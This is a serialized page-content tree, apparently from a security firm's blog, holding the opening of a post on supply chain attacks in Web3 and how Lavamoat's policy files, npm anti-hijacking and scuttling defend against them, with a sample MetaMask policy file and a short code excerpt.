type":26,"value":776},{"type":20,"tag":315,"props":44893,"children":44894},{"style":328},[44895],{"type":26,"value":781},{"type":20,"tag":315,"props":44897,"children":44898},{"style":334},[44899],{"type":26,"value":786},{"type":20,"tag":315,"props":44901,"children":44902},{"style":328},[44903],{"type":26,"value":791},{"type":20,"tag":315,"props":44905,"children":44906},{"class":317,"line":521},[44907,44911,44915,44919,44923,44927],{"type":20,"tag":315,"props":44908,"children":44909},{"style":334},[44910],{"type":26,"value":799},{"type":20,"tag":315,"props":44912,"children":44913},{"style":328},[44914],{"type":26,"value":781},{"type":20,"tag":315,"props":44916,"children":44917},{"style":334},[44918],{"type":26,"value":786},{"type":20,"tag":315,"props":44920,"children":44921},{"style":328},[44922],{"type":26,"value":812},{"type":20,"tag":315,"props":44924,"children":44925},{"style":334},[44926],{"type":26,"value":817},{"type":20,"tag":315,"props":44928,"children":44929},{"style":765},[44930],{"type":26,"value":822},{"type":20,"tag":315,"props":44932,"children":44933},{"class":317,"line":552},[44934,44938,44942,44946],{"type":20,"tag":315,"props":44935,"children":44936},{"style":334},[44937],{"type":26,"value":830},{"type":20,"tag":315,"props":44939,"children":44940},{"style":328},[44941],{"type":26,"value":781},{"type":20,"tag":315,"props":44943,"children":44944},{"style":334},[44945],{"type":26,"value":786},{"type":20,"tag":315,"props":44947,"children":44948},{"style":328},[44949],{"type":26,"value":843},{"type":20,"tag":315,"props":44951,"children":44952},{"class":317,"line":571},[44953],{"type":20,"tag":315,"props":44954,"children":44955},{"style":328},[44956],{"type":26,"value":577},{"type":20,"tag":29,"props":44958,"children":44959},{},[44960,44964],{"type":20,"tag":55,"props":44961,"children":44962},{},[44963],{"type":26,"value":858},{"type":26,"value":860},{"type":20,"tag":29,"props":44966,"children":44967},{},[44968],{"type":26,"value":865},{"type":20,"tag":21,"props":44970,"children":44971},{"id":868},[44972],{"type":26,"value":871},{"type":20,"tag":29,"props":44974,"children":44975},{},[44976],{"type":26,"value":876},{"type":20,"tag":29,"props":44978,"children":44979},{},[44980],{"type":26,"value":881},{"type":20,"tag":305,"props":44982,"children":44983},{"className":307,"code":884,"language":309,"meta":7,"style":7},[44984],{"type":20,"tag":119,"props":44985,"children":44986},{"__ignoreMap":7},[44987],{"type":20,"tag":315,"props":44988,"children":44989},{"class":317,"line":318},[44990,44994,44998,45002,45006],{"type":20,"tag":315,"props":44991,"children":44992},{"style":328},[44993],{"type":26,"value":896},{"type":20,"tag":315,"props":44995,"children":44996},{"style":334},[44997],{"type":26,"value":901},{"type":20,"tag":315,"props":44999,"children":45000},{"style":328},[45001],{"type":26,"value":906},{"type":20,"tag":315,"props":45003,"children":45004},{"style":334},[45005],{"type":26,"value":786},{"type":20,"tag":315,"props":45007,"children":45008},{"style":328},[45009],{"type":26,"value":915},{"type":20,"tag":29,"props":45011,"children":45012},{},[45013],{"type":26,"value":920},{"type":20,"tag":29,"props":45015,"children":45016},{},[45017,45018,45022],{"type":26,"value":925},{"type":20,"tag":55,"props":45019,"children":45020},{},[45021],{"type":26,"value":930},{"type":26,"value":932},{"type":20,"tag":21,"props":45024,"children":45025},{"id":935},[45026],{"type":26,"value":938},{"type":20,"tag":29,"props":45028,"children":45029},{},[45030],{"type":26,"value":943},{"type":20,"tag":29,"props":45032,"children":45033},{},[45034,45035,45040],{"type":26,"value":948},{"type":20,"tag":35,"props":45036,"children":45038},{"href":951,"rel":45037},[39],[45039],{"type":26,"value":955},{"type":26,"value":957},{"type":20,"tag":305,"props":45042,"children":45043},{"className":307,"code":960,"language":309,"meta":7,"style":7},[45044],{"type":20,"tag":119,"props":45045,"children":45046},{"__ignoreMap":7},[45047,45070,45109,45140],{"type":20,"tag":315,"props":45048,"children":45049},{"class":317,"line":318},[45050,45054,45058,45062,45066],{"type":20,"tag":315,"props":45051,"children":45052},{"style":525},[45053],{"type":26,"value":528},{"type":20,"tag":315,"props":45055,"children":45056},{"style":328},[45057],{"type":26,"value":976},{"type":20,"tag":315,"props":45059,"children":45060},{"style":334},[45061],{"type":26,"value":538},{"type":20,"tag":315,"props":45063,"children":45064},{"style":765},[45065],{"type":26,"value":985},{"type":20,"tag":315,"props":45067,"children":45068},{"style":328},[45069],{"type":26,"value":549},{"type":20,"tag":315,"props":45071,"children":45072},{"class":317,"line":356},[45073,45077,45081,45085,45089,45093,45097,45101,45105],{"type":20,"tag":315,"props":45074,"children":45075},{"style":328},[45076],{"type":26,"value":997},{"type":20,"tag":315,"props":45078,"children":45079},{"style":334},[45080],{"type":26,"value":337},{"type":20,"tag":315,"props":45082,"children":45083},{"style":328},[45084],{"type":26,"value":1006},{"type":20,"tag":315,"props":45086,"children":45087},{"style":345},[45088],{"type":26,"value":1011},{"type":20,"tag":315,"props":45090,"children":45091},{"style":328},[45092],{"type":26,"value":1016},{"type":20,"tag":315,"props":45094,"children":45095},{"style":345},[45096],{"type":26,"value":1021},{"type":20,"tag":315,"props":45098,"children":45099},{"style":328},[45100],{"type":26,"value":1026},{"type":20,"tag":315,"props":45102,"children":45103},{"style":345},[45104],{"type":26,"value":1031},{"type":20,"tag":315,"props":45106,"children":45107},{"style":328},[45108],{"type":26,"value":1036},{"type":20,"tag":315,"props":45110,"children":45111},{"class":317,"line":365},[45112,45116,45120,45124,45128,45132,45136],{"type":20,"tag":315,"props":45113,"children":45114},{"style":345},[45115],{"type":26,"value":1044},{"type":20,"tag":315,"props":45117,"children":45118},{"style":328},[45119],{"type":26,"value":1049},{"type":20,"tag":315,"props":45121,"children":45122},{"style":322},[45123],{"type":26,"value":1054},{"type":20,"tag":315,"props":45125,"children":45126},{"style":328},[45127],{"type":26,"value":1049},{"type":20,"tag":315,"props":45129,"children":45130},{"style":765},[45131],{"type":26,"value":1063},{"type":20,"tag":315,"props":45133,"children":45134},{"style":328},[45135],{"type":26,"value":1068},{"type":20,"tag":315,"props":45137,"children":45138},{"style":1071},[45139],{"type":26,"value":1074},{"type":20,"tag":315,"props":45141,"children":45142},{"class":317,"line":374},[45143,45147,45151],{"type":20,"tag":315,"props":45144,"children":45145},{"style":328},[45146],{"type":26,"value":1082},{"type":20,"tag":315,"props":45148,"children":45149},{"style":525},[45150],{"type":26,"value":1087},{"type":20,"tag":315,"props":45152,"children":45153},{"style":328},[45154],{"type":26,"value":1092},{"type":20,"tag":29,"props":45156,"children":45157},{},[45158,45159,45164],{"type":26,"value":1097},{"type":20,"tag":35,"props":45160,"children":45162},{"href":1100,"rel":45161},[39],[45163],{"type":26,"value":1104},{"type":26,"value":1106},{"type":20,"tag":305,"props":45166,"children":45167},{"className":307,"code":1109,"language":309,"meta":7,"style":7},[45168],{"type":20,"tag":119,"props":45169,"children":45170},{"__ignoreMap":7},[45171,45202],{"type":20,"tag":315,"props":45172,"children":45173},{"class":317,"line":318},[45174,45178,45182,45186,45190,45194,45198],{"type":20,"tag":315,"props":45175,"children":45176},{"style":328},[45177],{"type":26,"value":1121},{"type":20,"tag":315,"props":45179,"children":45180},{"style":334},[45181],{"type":26,"value":337},{"type":20,"tag":315,"props":45183,"children":45184},{"style":328},[45185],{"type":26,"value":1130},{"type":20,"tag":315,"props":45187,"children":45188},{"style":334},[45189],{"type":26,"value":901},{"type":20,"tag":315,"props":45191,"children":45192},{"style":328},[45193],{"type":26,"value":1139},{"type":20,"tag":315,"props":45195,"children":45196},{"style":334},[45197],{"type":26,"value":786},{"type":20,"tag":315,"props":45199,"children":45200},{"style":328},[45201],{"type":26,"value":1148},{"type":20,"tag":315,"props":45203,"children":45204},{"class":317,"line":356},[45205,45209,45213,45217,45221,45225,45229],{"type":20,"tag":315,"props":45206,"children":45207},{"style":328},[45208],{"type":26,"value":1156},{"type":20,"tag":315,"props":45210,"children":45211},{"style":334},[45212],{"type":26,"value":337},{"type":20,"tag":315,"props":45214,"children":45215},{"style":328},[45216],{"type":26,"value":1165},{"type":20,"tag":315,"props":45218,"children":45219},{"style":334},[45220],{"type":26,"value":901},{"type":20,"tag":315,"props":45222,"children":45223},{"style":328},[45224],{"type":26,"value":1174},{"type":20,"tag":315,"props":45226,"children":45227},{"style":334},[45228],{"type":26,"value":786},{"type":20,"tag":315,"props":45230,"children":45231},{"style":328},[45232],{"type":26,"value":1148},{"type":20,"tag":29,"props":45234,"children":45235},{},[45236],{"type":26,"value":1187},{"type":20,"tag":29,"props":45238,"children":45239},{},[45240,45241,45245],{"type":26,"value":1192},{"type":20,"tag":55,"props":45242,"children":45243},{},[45244],{"type":26,"value":1197},{"type":26,"value":61},{"type":20,"tag":29,"props":45247,"children":45248},{},[45249],{"type":26,"value":1203},{"type":20,"tag":29,"props":45251,"children":45252},{},[45253],{"type":26,"value":1208},{"type":20,"tag":21,"props":45255,"children":45256},{"id":1211},[45257],{"type":26,"value":1214},{"type":20,"tag":29,"props":45259,"children":45260},{},[45261],{"type":26,"value":1219},{"type":20,"tag":29,"props":45263,"children":45264},{},[45265],{"type":26,"value":1224},{"type":20,"tag":1226,"props":45267,"children":45268},{},[45269],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":45271},[45272,45273,45274,45278,45279,45280],{"id":23,"depth":356,"text":27},{"id":89,"depth":356,"text":92},{"id":209,"depth":356,"text":212,"children":45275},[45276,45277],{"id":221,"depth":365,"text":224},{"id":259,"depth":365,"text":262},{"id":868,"depth":356,"text":871},{"id":935,"depth":356,"text":938},{"id":1211,"depth":356,"text":1214},{"_path":45282,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":45283,"description":45284,"author":45285,"image":45286,"date":45288,"isFeatured":15,"onBlogPage":15,"body":45289,"_type":1242,"_id":48769,"_source":1244,"_file":48770,"_stem":48771,"_extension":1247},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[29617,29616],{"src":45287},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":17,"children":45290,"toc":48748},[45291,45295,45316,45321,45325,45330,45369,45375,45390,45408,45413,45418,45423,45436,45743,45769,45782,45787,45792,45806,45811,45824,45838,46069,46090,46125,46131,46136,46141,46355,46376,46382,46394,46484,46506,46542,46550,46568,46825,46851,46857,46871,47069,47088,47495,47508,47514,47533,47626,47631,47637,47650,47663,47749,47755,47767,47852,47864,47877,47883,47888,47902,48229,48234,48239,48245,48271,48326,48346,48399,48405,48410,48429,48440,48634,48640,48663,48669,48674,48687,48692,48697,48701,48706,48714,48744],{"type":20,"tag":21,"props":45292,"children":45293},{"id":17360},[45294],{"type":26,"value":17363},{"type":20,"tag":29,"props":45296,"children":45297},{},[45298,45305,45307,45314],{"type":20,"tag":35,"props":45299,"children":45302},{"href":45300,"rel":45301},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[39],[45303],{"type":26,"value":45304},"Supply chain",{"type":26,"value":45306}," attacks are becoming ",{"type":20,"tag":35,"props":45308,"children":45311},{"href":45309,"rel":45310},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[39],[45312],{"type":26,"value":45313},"increasingly popular in Web3",{"type":26,"value":45315},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":20,"tag":29,"props":45317,"children":45318},{},[45319],{"type":26,"value":45320},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":20,"tag":219,"props":45322,"children":45323},{"id":23},[45324],{"type":26,"value":27},{"type":20,"tag":29,"props":45326,"children":45327},{},[45328],{"type":26,"value":45329},"It is important to note that there are three different versions of LavaMoat:",{"type":20,"tag":68,"props":45331,"children":45332},{},[45333,45345,45357],{"type":20,"tag":72,"props":45334,"children":45335},{},[45336,45343],{"type":20,"tag":35,"props":45337,"children":45340},{"href":45338,"rel":45339},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[39],[45341],{"type":26,"value":45342},"Lavamoat Browserify",{"type":26,"value":45344}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":20,"tag":72,"props":45346,"children":45347},{},[45348,45355],{"type":20,"tag":35,"props":45349,"children":45352},{"href":45350,"rel":45351},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[39],[45353],{"type":26,"value":45354},"NodeJS Lavamoat",{"type":26,"value":45356}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":20,"tag":72,"props":45358,"children":45359},{},[45360,45367],{"type":20,"tag":35,"props":45361,"children":45364},{"href":45362,"rel":45363},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[39],[45365],{"type":26,"value":45366},"Lavamoat allow-scripts",{"type":26,"value":45368}," are used to prevent malicious code execution on lifecycle scripts.",{"type":20,"tag":219,"props":45370,"children":45372},{"id":45371},"lavamoats-security-features",[45373],{"type":26,"value":45374},"Lavamoat's Security Features",{"type":20,"tag":29,"props":45376,"children":45377},{},[45378,45380,45388],{"type":26,"value":45379},"The three most important features of Lavamoat",{"type":20,"tag":13875,"props":45381,"children":45382},{},[45383],{"type":20,"tag":35,"props":45384,"children":45386},{"href":28039,"ariaDescribedBy":45385,"dataFootnoteRef":7,"id":28041},[13882],[45387],{"type":26,"value":2406},{"type":26,"value":45389}," are:",{"type":20,"tag":15089,"props":45391,"children":45392},{},[45393,45398,45403],{"type":20,"tag":72,"props":45394,"children":45395},{},[45396],{"type":26,"value":45397},"Policy Files",{"type":20,"tag":72,"props":45399,"children":45400},{},[45401],{"type":26,"value":45402},"NPM Anti Hijacking",{"type":20,"tag":72,"props":45404,"children":45405},{},[45406],{"type":26,"value":45407},"Scuttling",{"type":20,"tag":29,"props":45409,"children":45410},{},[45411],{"type":26,"value":45412},"Let's go over them one by one.",{"type":20,"tag":17297,"props":45414,"children":45416},{"id":45415},"policy-files",[45417],{"type":26,"value":45397},{"type":20,"tag":29,"props":45419,"children":45420},{},[45421],{"type":26,"value":45422},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":20,"tag":29,"props":45424,"children":45425},{},[45426,45428,45435],{"type":26,"value":45427},"For example, take the ",{"type":20,"tag":35,"props":45429,"children":45432},{"href":45430,"rel":45431},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[39],[45433],{"type":26,"value":45434},"Metamask Snap policy file",{"type":26,"value":2884},{"type":20,"tag":305,"props":45437,"children":45439},{"className":29779,"code":45438,"language":29781,"meta":7,"style":7}," \"@metamask/providers\": {\n \"globals\": {\n \"Event\": true,\n \"addEventListener\": true,\n \"chrome.runtime.connect\": true,\n \"console\": true,\n \"dispatchEvent\": true,\n \"document.createElement\": true,\n \"document.readyState\": true,\n \"ethereum\": \"write\",\n \"location.hostname\": true,\n \"removeEventListener\": true,\n \"web3\": true\n },\n \"packages\": {\n \"@metamask/object-multiplex\": true,\n \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[45440],{"type":20,"tag":119,"props":45441,"children":45442},{"__ignoreMap":7},[45443,45455,45470,45490,45509,45529,45549,45569,45589,45609,45630,45650,45669,45685,45692,45707,45727],{"type":20,"tag":315,"props":45444,"children":45445},{"class":317,"line":318},[45446,45451],{"type":20,"tag":315,"props":45447,"children":45448},{"style":2652},[45449],{"type":26,"value":45450}," \"@metamask/providers\"",{"type":20,"tag":315,"props":45452,"children":45453},{"style":328},[45454],{"type":26,"value":35438},{"type":20,"tag":315,"props":45456,"children":45457},{"class":317,"line":356},[45458,45462,45466],{"type":20,"tag":315,"props":45459,"children":45460},{"style":2652},[45461],{"type":26,"value":35446},{"type":20,"tag":315,"props":45463,"children":45464},{"style":635},[45465],{"type":26,"value":2884},{"type":20,"tag":315,"props":45467,"children":45468},{"style":328},[45469],{"type":26,"value":1092},{"type":20,"tag":315,"props":45471,"children":45472},{"class":317,"line":365},[45473,45478,45482,45486],{"type":20,"tag":315,"props":45474,"children":45475},{"style":2652},[45476],{"type":26,"value":45477}," \"Event\"",{"type":20,"tag":315,"props":45479,"children":45480},{"style":635},[45481],{"type":26,"value":2884},{"type":20,"tag":315,"props":45483,"children":45484},{"style":541},[45485],{"type":26,"value":544},{"type":20,"tag":315,"props":45487,"children":45488},{"style":328},[45489],{"type":26,"value":643},{"type":20,"tag":315,"props":45491,"children":45492},{"class":317,"line":374},[45493,45497,45501,45505],{"type":20,"tag":315,"props":45494,"children":45495},{"style":2652},[45496],{"type":26,"value":35498},{"type":20,"tag":315,"props":45498,"children":45499},{"style":635},[45500],{"type":26,"value":2884},{"type":20,"tag":315,"props":45502,"children":45503},{"style":541},[45504],{"type":26,"value":544},{"type":20,"tag":315,"props":45506,"children":45507},{"style":328},[45508],{"type":26,"value":643},{"type":20,"tag":315,"props":45510,"children":45511},{"class":317,"line":383},[45512,45517,45521,45525],{"type":20,"tag":315,"props":45513,"children":45514},{"style":2652},[45515],{"type":26,"value":45516}," \"chrome.runtime.connect\"",{"type":20,"tag":315,"props":45518,"children":45519},{"style":635},[45520],{"type":26,"value":2884},{"type":20,"tag":315,"props":45522,"children":45523},{"style":541},[45524],{"type":26,"value":544},{"type":20,"tag":315,"props":45526,"children":45527},{"style":328},[45528],{"type":26,"value":643},{"type":20,"tag":315,"props":45530,"children":45531},{"class":317,"line":407},[45532,45537,45541,45545],{"type":20,"tag":315,"props":45533,"children":45534},{"style":2652},[45535],{"type":26,"value":45536}," \"console\"",{"type":20,"tag":315,"props":45538,"children":45539},{"style":635},[45540],{"type":26,"value":2884},{"type":20,"tag":315,"props":45542,"children":45543},{"style":541},[45544],{"type":26,"value":544},{"type":20,"tag":315,"props":45546,"children":45547},{"style":328},[45548],{"type":26,"value":643},{"type":20,"tag":315,"props":45550,"children":45551},{"class":317,"line":421},[45552,45557,45561,45565],{"type":20,"tag":315,"props":45553,"children":45554},{"style":2652},[45555],{"type":26,"value":45556}," \"dispatchEvent\"",{"type":20,"tag":315,"props":45558,"children":45559},{"style":635},[45560],{"type":26,"value":2884},{"type":20,"tag":315,"props":45562,"children":45563},{"style":541},[45564],{"type":26,"value":544},{"type":20,"tag":315,"props":45566,"children":45567},{"style":328},[45568],{"type":26,"value":643},{"type":20,"tag":315,"props":45570,"children":45571},{"class":317,"line":430},[45572,45577,45581,45585],{"type":20,"tag":315,"props":45573,"children":45574},{"style":2652},[45575],{"type":26,"value":45576}," \"document.createElement\"",{"type":20,"tag":315,"props":45578,"children":45579},{"style":635},[45580],{"type":26,"value":2884},{"type":20,"tag":315,"props":45582,"children":45583},{"style":541},[45584],{"type":26,"value":544},{"type":20,"tag":315,"props":45586,"children":45587},{"style":328},[45588],{"type":26,"value":643},{"type":20,"tag":315,"props":45590,"children":45591},{"class":317,"line":453},[45592,45597,45601,45605],{"type":20,"tag":315,"props":45593,"children":45594},{"style":2652},[45595],{"type":26,"value":45596}," \"document.readyState\"",{"type":20,"tag":315,"props":45598,"children":45599},{"style":635},[45600],{"type":26,"value":2884},{"type":20,"tag":315,"props":45602,"children":45603},{"style":541},[45604],{"type":26,"value":544},{"type":20,"tag":315,"props":45606,"children":45607},{"style":328},[45608],{"type":26,"value":643},{"type":20,"tag":315,"props":45610,"children":45611},{"class":317,"line":486},[45612,45617,45621,45626],{"type":20,"tag":315,"props":45613,"children":45614},{"style":2652},[45615],{"type":26,"value":45616}," \"ethereum\"",{"type":20,"tag":315,"props":45618,"children":45619},{"style":635},[45620],{"type":26,"value":2884},{"type":20,"tag":315,"props":45622,"children":45623},{"style":2652},[45624],{"type":26,"value":45625}," \"write\"",{"type":20,"tag":315,"props":45627,"children":45628},{"style":328},[45629],{"type":26,"value":643},{"type":20,"tag":315,"props":45631,"children":45632},{"class":317,"line":499},[45633,45638,45642,45646],{"type":20,"tag":315,"props":45634,"children":45635},{"style":2652},[45636],{"type":26,"value":45637}," \"location.hostname\"",{"type":20,"tag":315,"props":45639,"children":45640},{"style":635},[45641],{"type":26,"value":2884},{"type":20,"tag":315,"props":45643,"children":45644},{"style":541},[45645],{"type":26,"value":544},{"type":20,"tag":315,"props":45647,"children":45648},{"style":328},[45649],{"type":26,"value":643},{"type":20,"tag":315,"props":45651,"children":45652},{"class":317,"line":513},[45653,45657,45661,45665],{"type":20,"tag":315,"props":45654,"children":45655},{"style":2652},[45656],{"type":26,"value":35598},{"type":20,"tag":315,"props":45658,"children":45659},{"style":635},[45660],{"type":26,"value":2884},{"type":20,"tag":315,"props":45662,"children":45663},{"style":541},[45664],{"type":26,"value":544},{"type":20,"tag":315,"props":45666,"children":45667},{"style":328},[45668],{"type":26,"value":643},{"type":20,"tag":315,"props":45670,"children":45671},{"class":317,"line":521},[45672,45677,45681],{"type":20,"tag":315,"props":45673,"children":45674},{"style":2652},[45675],{"type":26,"value":45676}," \"web3\"",{"type":20,"tag":315,"props":45678,"children":45679},{"style":635},[45680],{"type":26,"value":2884},{"type":20,"tag":315,"props":45682,"children":45683},{"style":541},[45684],{"type":26,"value":745},{"type":20,"tag":315,"props":45686,"children":45687},{"class":317,"line":552},[45688],{"type":20,"tag":315,"props":45689,"children":45690},{"style":328},[45691],{"type":26,"value":35615},{"type":20,"tag":315,"props":45693,"children":45694},{"class":317,"line":571},[45695,45699,45703],{"type":20,"tag":315,"props":45696,"children":45697},{"style":2652},[45698],{"type":26,"value":35623},{"type":20,"tag":315,"props":45700,"children":45701},{"style":635},[45702],{"type":26,"value":2884},{"type":20,"tag":315,"props":45704,"children":45705},{"style":328},[45706],{"type":26,"value":1092},{"type":20,"tag":315,"props":45708,"children":45709},{"class":317,"line":2031},[45710,45715,45719,45723],{"type":20,"tag":315,"props":45711,"children":45712},{"style":2652},[45713],{"type":26,"value":45714}," \"@metamask/object-multiplex\"",{"type":20,"tag":315,"props":45716,"children":45717},{"style":635},[45718],{"type":26,"value":2884},{"type":20,"tag":315,"props":45720,"children":45721},{"style":541},[45722],{"type":26,"value":544},{"type":20,"tag":315,"props":45724,"children":45725},{"style":328},[45726],{"type":26,"value":643},{"type":20,"tag":315,"props":45728,"children":45729},{"class":317,"line":2053},[45730,45735,45739],{"type":20,"tag":315,"props":45731,"children":45732},{"style":2652},[45733],{"type":26,"value":45734}," \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":20,"tag":315,"props":45736,"children":45737},{"style":635},[45738],{"type":26,"value":2884},{"type":20,"tag":315,"props":45740,"children":45741},{"style":541},[45742],{"type":26,"value":745},{"type":20,"tag":29,"props":45744,"children":45745},{},[45746,45747,45752,45754,45759,45761,45767],{"type":26,"value":15015},{"type":20,"tag":119,"props":45748,"children":45750},{"className":45749},[],[45751],{"type":26,"value":35688},{"type":26,"value":45753}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":20,"tag":119,"props":45755,"children":45757},{"className":45756},[],[45758],{"type":26,"value":35696},{"type":26,"value":45760}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":20,"tag":119,"props":45762,"children":45764},{"className":45763},[],[45765],{"type":26,"value":45766},"@metamask/providers",{"type":26,"value":45768}," interacts with other packages.",{"type":20,"tag":29,"props":45770,"children":45771},{},[45772,45774,45780],{"type":26,"value":45773},"To enforce these policies, LavaMoat uses ",{"type":20,"tag":119,"props":45775,"children":45777},{"className":45776},[],[45778],{"type":26,"value":45779},"lavapack",{"type":26,"value":45781},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":20,"tag":17297,"props":45783,"children":45785},{"id":45784},"npm-anti-hijacking",[45786],{"type":26,"value":45402},{"type":20,"tag":29,"props":45788,"children":45789},{},[45790],{"type":26,"value":45791},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":20,"tag":29,"props":45793,"children":45794},{},[45795,45797,45804],{"type":26,"value":45796},"Instead, Lavamoat looks at how each package is connected by ",{"type":20,"tag":35,"props":45798,"children":45801},{"href":45799,"rel":45800},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[39],[45802],{"type":26,"value":45803},"walking the modules",{"type":26,"value":45805}," in a project's dependency tree, thus generating a unique name for each package.",{"type":20,"tag":17297,"props":45807,"children":45809},{"id":45808},"scuttling",[45810],{"type":26,"value":45407},{"type":20,"tag":29,"props":45812,"children":45813},{},[45814,45816,45822],{"type":26,"value":45815},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":20,"tag":119,"props":45817,"children":45819},{"className":45818},[],[45820],{"type":26,"value":45821},"GlobalThis",{"type":26,"value":45823}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":20,"tag":29,"props":45825,"children":45826},{},[45827,45829,45836],{"type":26,"value":45828},"For example, ",{"type":20,"tag":35,"props":45830,"children":45833},{"href":45831,"rel":45832},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[39],[45834],{"type":26,"value":45835},"here",{"type":26,"value":45837}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":20,"tag":305,"props":45839,"children":45841},{"className":29779,"code":45840,"language":29781,"meta":7,"style":7}," if (scuttleOpts.enabled) {\n if (!Array.isArray(scuttleOpts.exceptions)) {\n throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n }\n scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n }\n",[45842],{"type":20,"tag":119,"props":45843,"children":45844},{"__ignoreMap":7},[45845,45874,45924,45983,45990,46062],{"type":20,"tag":315,"props":45846,"children":45847},{"class":317,"line":318},[45848,45852,45856,45861,45865,45870],{"type":20,"tag":315,"props":45849,"children":45850},{"style":525},[45851],{"type":26,"value":10680},{"type":20,"tag":315,"props":45853,"children":45854},{"style":328},[45855],{"type":26,"value":463},{"type":20,"tag":315,"props":45857,"children":45858},{"style":635},[45859],{"type":26,"value":45860},"scuttleOpts",{"type":20,"tag":315,"props":45862,"children":45863},{"style":328},[45864],{"type":26,"value":61},{"type":20,"tag":315,"props":45866,"children":45867},{"style":635},[45868],{"type":26,"value":45869},"enabled",{"type":20,"tag":315,"props":45871,"children":45872},{"style":328},[45873],{"type":26,"value":549},{"type":20,"tag":315,"props":45875,"children":45876},{"class":317,"line":356},[45877,45881,45885,45889,45894,45898,45903,45907,45911,45915,45920],{"type":20,"tag":315,"props":45878,"children":45879},{"style":525},[45880],{"type":26,"value":37703},{"type":20,"tag":315,"props":45882,"children":45883},{"style":328},[45884],{"type":26,"value":463},{"type":20,"tag":315,"props":45886,"children":45887},{"style":334},[45888],{"type":26,"value":19025},{"type":20,"tag":315,"props":45890,"children":45891},{"style":635},[45892],{"type":26,"value":45893},"Array",{"type":20,"tag":315,"props":45895,"children":45896},{"style":328},[45897],{"type":26,"value":61},{"type":20,"tag":315,"props":45899,"children":45900},{"style":345},[45901],{"type":26,"value":45902},"isArray",{"type":20,"tag":315,"props":45904,"children":45905},{"style":328},[45906],{"type":26,"value":1049},{"type":20,"tag":315,"props":45908,"children":45909},{"style":635},[45910],{"type":26,"value":45860},{"type":20,"tag":315,"props":45912,"children":45913},{"style":328},[45914],{"type":26,"value":61},{"type":20,"tag":315,"props":45916,"children":45917},{"style":635},[45918],{"type":26,"value":45919},"exceptions",{"type":20,"tag":315,"props":45921,"children":45922},{"style":328},[45923],{"type":26,"value":33609},{"type":20,"tag":315,"props":45925,"children":45926},{"class":317,"line":365},[45927,45932,45936,45940,45944,45949,45953,45957,45962,45966,45970,45974,45979],{"type":20,"tag":315,"props":45928,"children":45929},{"style":525},[45930],{"type":26,"value":45931}," throw",{"type":20,"tag":315,"props":45933,"children":45934},{"style":541},[45935],{"type":26,"value":30348},{"type":20,"tag":315,"props":45937,"children":45938},{"style":345},[45939],{"type":26,"value":38700},{"type":20,"tag":315,"props":45941,"children":45942},{"style":328},[45943],{"type":26,"value":1049},{"type":20,"tag":315,"props":45945,"children":45946},{"style":2652},[45947],{"type":26,"value":45948},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":20,"tag":315,"props":45950,"children":45951},{"style":541},[45952],{"type":26,"value":32523},{"type":20,"tag":315,"props":45954,"children":45955},{"style":541},[45956],{"type":26,"value":29818},{"type":20,"tag":315,"props":45958,"children":45959},{"style":635},[45960],{"type":26,"value":45961}," scuttleOpts",{"type":20,"tag":315,"props":45963,"children":45964},{"style":334},[45965],{"type":26,"value":61},{"type":20,"tag":315,"props":45967,"children":45968},{"style":635},[45969],{"type":26,"value":45919},{"type":20,"tag":315,"props":45971,"children":45972},{"style":541},[45973],{"type":26,"value":32555},{"type":20,"tag":315,"props":45975,"children":45976},{"style":2652},[45977],{"type":26,"value":45978},"\"`",{"type":20,"tag":315,"props":45980,"children":45981},{"style":328},[45982],{"type":26,"value":380},{"type":20,"tag":315,"props":45984,"children":45985},{"class":317,"line":374},[45986],{"type":20,"tag":315,"props":45987,"children":45988},{"style":328},[45989],{"type":26,"value":11064},{"type":20,"tag":315,"props":45991,"children":45992},{"class":317,"line":383},[45993,45998,46002,46007,46011,46016,46020,46025,46029,46034,46038,46042,46046,46050,46054,46058],{"type":20,"tag":315,"props":45994,"children":45995},{"style":635},[45996],{"type":26,"value":45997}," 